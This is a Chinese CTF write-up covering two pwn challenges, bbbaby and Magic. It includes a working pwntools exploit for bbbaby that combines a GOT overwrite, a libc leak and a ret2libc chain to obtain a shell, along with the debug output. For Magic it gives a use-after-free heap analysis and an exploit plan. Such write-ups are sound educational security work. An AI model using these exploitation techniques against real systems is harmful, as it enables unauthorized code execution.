

# 陇原战“疫”2021网络安全大赛 bbbaby和Magic

原创

yj@pwn 于 2021-11-17 17:06:47 发布 189 收藏

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## 一、bbbaby

首先对程序进行分析, 程序较为简单, 提供了修改地址内容和输入任意大小内容的功能, 存在栈溢出的可能。

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    int v4; // [rsp+Ch] [rbp-114h]
    char v5; // [rsp+10h] [rbp-110h]
    unsigned __int64 v6; // [rsp+118h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    sub_400766(a1, a2, a3);
    puts("^_^");
    while ( 1 )
    {
        while ( 1 )
        {
            puts("your choice");
            v4 = sub_4007C7();
            if ( v4 )
                break;
            modify_address();
        }
        if ( v4 != 1 )
            break;
        add_content(&v5);
    }
    return 0LL;
}
```

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```
ssize_t sub_40086C()
{
    int v0; // ST0C_4

    puts("address:");
    v0 = sub_4007C7();
    puts("content:");
    return read(0, (void *)v0, 8uLL);
}
```

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```

ssize_t __fastcall sub_4008BB(void *a1)
{
    unsigned int nbytes; // ST1C_4

    puts("size:");
    nbytes = sub_4007C7();
    puts("content:");
    return read(0, a1, nbytes);
}

```

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因为事情多，就看了眼题，最开始我想使用利用栈溢出再使用chk\_stack\_fail泄露出libc版本信息，虽然成功打印出libc地址但是已经退出了程序。参考了大佬[陇原战疫2021网络安全大赛-pwn-wp - LynneHuan - 博客园](#)，

后面的思路为首先利用提供的修改地址内容的功能，将chk\_stack\_fail的got地址修改为puts的plt地址，然后通过栈溢出覆盖程序返回地址，利用puts函数泄露出libc地址，然后将atoi的got地址修改为system的地址，然后输入'/bin/sh\x00'，即执行system('/bin/sh\x00')

```

from pwn import *

def add_content(size,content):
    sh.sendlineafter('choice\n',"1")
    sh.sendlineafter('size:\n',str(size))
    sh.sendafter('content:\n',content)

def add_address(address,content):
    sh.sendlineafter('choice\n',"0")
    sh.sendlineafter('address:\n',str(address))
    sh.sendafter('content:\n',content)

context.log_level = 'DEBUG'
sh = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
chk_fail = elf.got['__stack_chk_fail']
content_addr = 0x00000000004008BB
address_addr = 0x000000000040086C
add_address(chk_fail,p64(puts_plt))
payload = 'a'*0x118+p64(0x0000000000400a03)
payload+= p64(puts_got)+p64(puts_plt)
payload+= p64(address_addr)+p64(content_addr)
add_content(0x1000,payload)
sh.sendlineafter('choice\n','2')
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
sh.sendline(str(atoi_got))
sh.sendafter('content:\n',p64(system_addr))
sh.sendline('/bin/sh\x00')
sh.interactive()

```

最后成功获得shell。

```

your choice\n
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x11 bytes:
00000000 0a a0 06 0f 3d 3a 7f 0a 61 64 64 72 65 73 73 3a |...|=:...|addr|
00000010 0a |.
00000011
[DEBUG] Sent 0x8 bytes:
'6295616\n'
[DEBUG] Received 0x9 bytes:
'content:\n'
[DEBUG] Sent 0x8 bytes:
00000000 a0 63 0c 3d 3a 7f 00 00 |c|=:...|
00000008
[DEBUG] Sent 0x9 bytes:
00000000 2f 62 69 6e 2f 73 68 00 0a |/bin|/sh.|.
00000009
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
'size:\n'
size:
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x20 bytes:
'core libc-2.23.so pwn1 yj.py\n'
core libc-2.23.so pwn1 yj.py
$ █

```

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## 二、Magic

经典堆的题目，分析程序，分支比较多，但是实现功能也就那几个

第一个功能为search功能，就是简单的创建一个块，大小固定为0x70

```

}
while ( v3 != 2025395032 );
heap_list[v4] = malloc((unsigned int)size);
return puts("Search finished");
}

```

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第二个功能为magic功能，对创建的0x70大小的块进行赋值，并且打印出该内容

```

int magic()
{
    signed int v0; // eax
    signed int v1; // eax
    signed int v3; // [rsp+2Ch] [rbp-14h]
    unsigned int v4; // [rsp+30h] [rbp-10h]

    puts("Input the idx");
    v4 = sub_DB0();
    v3 = 655206826;
    while ( v3 != -1390305975 )
    {
        if ( v3 == -442473790 )
            sub_AC0("Illegal");
        if ( v3 == 314989275 )
        {
            v1 = -442473790;
            if ( heap_list[v4] )
                v1 = -1390305975;
            v3 = v1;
        }
        else if ( v3 == 655206826 )
        {
            v0 = 314989275;
            if ( v4 >= dword_202090 )
                v0 = -442473790;
            v3 = v0;
        }
    }
    puts("Input the Magic");
    read(0, heap_list[v4], (unsigned int)size);
    return printf("Magic> %s <Magic\n", heap_list[v4]);
}
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```

第三个功能为remove，就是把申请的块释放掉，但没有将指针置0，存在UAF

```

0 |         }
1 |     }
2 | }
3 | }
4 | free(heap_list[*v24]);
5 | result = puts("remove the Magic");
6 | v9 = result;
7 | return result;
8 | }
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```

关键函数，将flag读取并储存在一个堆中

```

int flag()
{
    FILE *stream; // ST20_8
    const char *v1; // rax
    char *s; // ST18_8
    int v3; // eax
    int v4; // ST2C_4

    stream = fopen("/flag", "r");
    v1 = (const char *)malloc((unsigned int)nbytes);
    s = (char *)v1;
    v3 = strlen(v1);
    v4 = (unsigned __int64)read(3, &s[v3], (unsigned int)nbytes) + v3;
    return fclose(stream);
}

```

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很明显0x110大小的堆块中就存储了flag中的内容（这里是本地测试自己建立的flag）

```

pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555757000
Size: 0x231
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x555555757230
Size: 0x110

Top chunk | PREV_INUSE
Addr: 0x555555757340
Size: 0x20cc1

pwndbg> x/10xg 0x555555757230
0x555555757230: 0x00000000000000230          0x00000000000000110
0x555555757240: 0x6161617b67616c66          0x6161616161616161
0x555555757250: 0x6161616161616161          0x6161616161616161
0x555555757260: 0x000a7d6161616161          0x0000000000000000
0x555555757270: 0x0000000000000000          0x0000000000000000

```

思路比较简单，我们只要伪造一个chunk头，利用UAF漏洞，分配到伪造的chunk，然后利用magic功能打印出flag。

